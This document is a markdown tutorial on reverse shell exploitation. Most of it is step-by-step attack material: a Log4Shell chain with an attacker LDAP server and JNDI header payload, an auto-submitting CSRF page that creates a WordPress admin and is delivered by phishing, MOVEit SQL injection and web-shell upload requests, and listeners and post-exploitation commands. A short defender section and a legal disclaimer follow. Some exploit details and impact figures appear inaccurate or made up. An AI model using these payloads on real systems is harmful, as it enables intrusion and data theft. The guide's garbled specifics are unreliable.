Reverse Shell Exploitation.md

Complete Reverse Shell Exploitation Methodologies

Understanding Reverse Shells: The Core Concept

A reverse shell is a technique where the target machine initiates a connection back to the attacker's machine, then provides command-line access. Unlike traditional remote access where you connect to the target (which firewalls block), reverse shells work because outbound connections are often allowed while inbound connections are blocked.

Why this matters in real attacks: When you see news about companies getting hacked, the attackers likely used a reverse shell to maintain access. For example, in the 2021 Log4Shell attacks, threat actors used reverse shells to take control of thousands of vulnerable servers worldwide.

The Complete Exploitation Methodology

Phase 1: Reconnaissance and Target Identification

Before you can exploit anything, you need to know what you're targeting.

Step 1: Port Scanning with Nmap

# Basic port scan to discover open services
nmap -sV -sC -O 192.168.1.100

# Aggressive scan with version detection
nmap -sV --script=vuln 192.168.1.100 -p 1-65535

Real-world application: In the HackTheBox Unified machine example, attackers first performed reconnaissance to identify exposed services, discovering the UniFi Network Application on port 8443, which helped them confirm the vulnerable version (6.4.54) for Log4Shell exploitation.

Step 2: Service Enumeration

# Check for specific vulnerable services
nmap -p 21 --script=ftp-vsftpd-backdoor 192.168.1.100
nmap -p 8080 --script=http-log4shell 192.168.1.100

What to look for:

• Port 21 (FTP) - vsftpd 2.3.4 had a backdoor (CVE-2011-2523)
• Port 8080/8443 (Web applications) - Often run Log4j
• Port 445 (SMB) - EternalBlue vulnerability
• Port 6667 (IRC) - UnrealIRCd backdoor

Phase 2: Setting Up the Attack Infrastructure

Before delivering any payload, you need your listener ready.

Step 1: Start Your Netcat Listener

# Basic listener
nc -lvnp 4444

# With rlwrap for better interaction (command history, tab completion)
rlwrap nc -lvnp 4444

# Using socat for encrypted connections
socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork STDOUT

Step 2: Using Burp Suite for Payload Delivery

Burp Suite is essential for web application exploitation. Here's how to use it effectively:

Setting up Burp as a proxy:

1. Open Burp Suite → Proxy tab
2. Ensure listener is running on 127.0.0.1:8080
3. Configure Firefox/Browser:
   • Settings → Network Settings → Manual proxy
   • HTTP Proxy: 127.0.0.1, Port: 8080
4. Enable "Intercept" to capture requests

Using Burp Repeater for payload injection:

1. Capture a request from the target website
2. Right-click → "Send to Repeater"
3. Modify the request to include your payload in headers or parameters
4. Click "Send" to test the exploit

Using Tripod Extension for Automated Payloads: Tripod is a Burp Suite extension that combines payload generation with a listener:

1. Install Tripod via Burp Extender
2. Go to Tripod → Listener tab
3. Select "Reverse Shell" mode, enter port 4444
4. Click "Start Listener"
5. In Payload Generator, select OS and template (Bash/PowerShell)
6. Click "Auto-fill from Listener" to set IP/port automatically
7. Click "Generate" for ready-to-use payload

Phase 3: Delivering the Reverse Shell Payload

Method 1: Log4Shell Exploitation (CVE-2021-44228)

This is the most famous recent vulnerability, affecting Apache Log4j 2.x <= 2.15.0-rc1.

How Log4Shell works: The vulnerable application logs user-controlled input. When you inject ${jndi:ldap://attacker-ip:1389/payload}, Log4j:

1. Performs a JNDI lookup to your LDAP server
2. Downloads a malicious Java class from your HTTP server
3. Executes it, giving you remote code execution

Complete exploitation steps:

Step 1: Set up the malicious LDAP server

# Using marshalsec (JNDI exploitation tool)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.4:8000/#Exploit"

Step 2: Host your malicious Java class

# Python HTTP server to serve the exploit class
python3 -m http.server 8000

Step 3: Start your reverse shell listener

nc -lvnp 9001

Step 4: Inject the payload using Burp Suite In Burp Repeater, modify any HTTP header:

GET / HTTP/1.1
Host: vulnerable-target.com
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/Exploit}
User-Agent: Mozilla/5.0

Step 5: Watch for the connection

listening on [any] 9001 ...
connect to [192.168.1.4] from target [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root)

Real-world impact: When Log4Shell was disclosed in December 2021, over 40% of enterprise servers were vulnerable. Attackers exploited it to deploy ransomware, mine cryptocurrency, and steal data from companies like Amazon, Apple, and Twitter.

Method 2: WordPress Plugin Exploitation (CVE-2022-0215)

This vulnerability affected three WordPress plugins with over 84,000 installations.

The vulnerability: Cross-Site Request Forgery (CSRF) that allows attackers to create admin accounts without authentication.

Exploitation methodology:

Step 1: Identify vulnerable plugins

• Login/Signup Popup (<= 2.2)
• Waitlist WooCommerce (<= 2.5.1)
• Side Cart WooCommerce (<= 2.0)

Step 2: Craft the CSRF attack

<!-- Malicious page hosted on attacker's site -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="https://target-site.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="xoo_admin_settings" />
      <input type="hidden" name="xoo_admin_setting[save]" value="1" />
      <input type="hidden" name="xoo_admin_setting[user_role]" value="administrator" />
      <input type="hidden" name="xoo_admin_setting[new_username]" value="attacker" />
      <input type="hidden" name="xoo_admin_setting[new_password]" value="hacked123" />
    </form>
  </body>
</html>

Step 3: Deliver the exploit Send the link to an authenticated admin via phishing email. When clicked, their browser automatically creates an admin account for you.

Real-world example: This vulnerability was discovered by Wordfence in January 2022. Attackers were actively exploiting it to create admin backdoors on WooCommerce stores, then stealing customer data and payment information.

Method 3: MOVEit Transfer Exploitation (CVE-2023-34362)

This critical vulnerability affected Progress MOVEit Transfer, a managed file transfer software used by thousands of organizations.

The attack chain:

1. SQL injection in /guestaccess.aspx
2. API token theft
3. File upload leading to RCE

Step 1: Initial SQL injection

POST /guestaccess.aspx HTTP/1.1
Host: target-moveit.com
Content-Type: application/x-www-form-urlencoded

accesscode=test' UNION SELECT 'sysadmin', 'notes', 'hacked' INTO OUTFILE '/tmp/exploit.txt' --

Step 2: Pivot to API access

POST /api/v1/token HTTP/1.1
Host: target-moveit.com
Content-Type: application/json

{"grant_type":"session_token","session_id":"hijacked_session"}

Step 3: Upload malicious file via API

POST /api/v1/folders/1/files?uploadType=resumable HTTP/1.1
Host: target-moveit.com

[malicious ASP.NET web shell content]

Real-world impact: Starting in May 2023, the Cl0p ransomware gang exploited this vulnerability against over 2,000 organizations, including the BBC, British Airways, and the U.S. Department of Energy. They stole sensitive data and demanded ransoms ranging from $5-10 million.

Phase 4: Post-Exploitation and Shell Stabilization

Once you get a reverse shell, it's often unstable. Here's how to fix it:

Step 1: Upgrade to full TTY (Linux)

# Method 1: Python PTY
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Method 2: Script
script /dev/null -c bash

# Method 3: Background then foreground
# Press Ctrl+Z to background the shell
stty raw -echo
fg
reset
export TERM=xterm

Step 2: Windows shell upgrade

# Get into PowerShell from cmd
powershell

# Upgrade to better console
$Host.UI.RawUI.WindowTitle = "Reverse Shell"

Step 3: Common post-exploitation commands

# Linux enumeration
whoami
id
uname -a
cat /etc/passwd
sudo -l
ps aux
netstat -tulpn
ifconfig

# Windows enumeration
whoami
systeminfo
net user
net localgroup administrators
tasklist
ipconfig

Testing Methodologies (For Defenders)

How to Test if Your Systems Are Vulnerable

Method 1: Using Burp Suite with Tripod

1. Set up Tripod listener in HTTP Webhook mode on port 8080
2. Use Payload Generator to create test payloads
3. Inject into all user inputs (headers, forms, API parameters)
4. Monitor Tripod's Request History for callbacks

Method 2: Manual payload testing

# Test for command injection
; ping -c 1 YOUR-IP
| ping -c 1 YOUR-IP
`ping -c 1 YOUR-IP`
$(ping -c 1 YOUR-IP)

# Test for Log4Shell
${jndi:ldap://YOUR-IP:1389/test}
${jndi:rmi://YOUR-IP:1099/test}

Method 3: Automated scanning

# Using log4j-scan
git clone https://github.com/logpresso/CVE-2021-44228-Scanner
python3 log4j-scan.py -u https://target.com

# Using Nmap scripts
nmap -sV --script http-log4shell target.com

Detection Indicators

What to look for in logs:

Web server logs:

GET /?param=${jndi:ldap://45.155.205.233:5874/exploit}
User-Agent: ${jndi:ldap://evil.com:1389/a}
X-Api-Version: ${jndi:rmi://attacker-ip:1099/Exploit}

Network traffic:

• Unexpected LDAP requests (port 389/1389)
• Outbound connections to non-standard ports
• DNS lookups to suspicious domains

Mitigation and Prevention

Immediate Actions

1. Patch vulnerable software:

   • Update Log4j to 2.17.0+ for Log4Shell
   • Update WordPress plugins to latest versions
   • Apply security patches immediately

2. Network controls:

   # Block outbound LDAP/RMI if not needed
   iptables -A OUTPUT -p tcp --dport 389 -j DROP
   iptables -A OUTPUT -p tcp --dport 1389 -j DROP
   iptables -A OUTPUT -p tcp --dport 1099 -j DROP

3. Application configuration:

   # For Log4j 2.10+
   LOG4J_FORMAT_MSG_NO_LOOKUPS=true
   
   # Java system properties
   -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
   -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false

Tools Reference Summary

Tool	Purpose	Key Commands
Nmap	Reconnaissance	nmap -sV -sC target
Netcat	Listener/shells	nc -lvnp 4444
Burp Suite	Web exploitation	Proxy intercept, Repeater
Tripod	Burp payload gen	Auto-fill, listener integration
marshalsec	JNDI server	java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer
rlwrap	Shell interaction	rlwrap nc -lvnp 4444
socat	Encrypted shells	socat OPENSSL-LISTEN:443,fork EXEC:/bin/bash

Legal and Ethical Considerations

IMPORTANT: These techniques are for authorized security testing only. Unauthorized access violates:

• Computer Fraud and Abuse Act (CFAA) in the US
• Computer Misuse Act in the UK
• Similar laws worldwide

Always:

• Get written permission before testing
• Work only in isolated lab environments or authorized bug bounty programs
• Report vulnerabilities through proper disclosure channels

Practice Environments

To practice safely, use:

• HackTheBox - Realistic vulnerable machines
• TryHackMe - Guided learning paths
• DVWA (Damn Vulnerable Web Application) - Local practice
• VulnHub - Free vulnerable VMs

Example HTB machine: The "Unified" machine on HackTheBox specifically teaches Log4Shell exploitation, walking through the complete attack chain from reconnaissance to root access.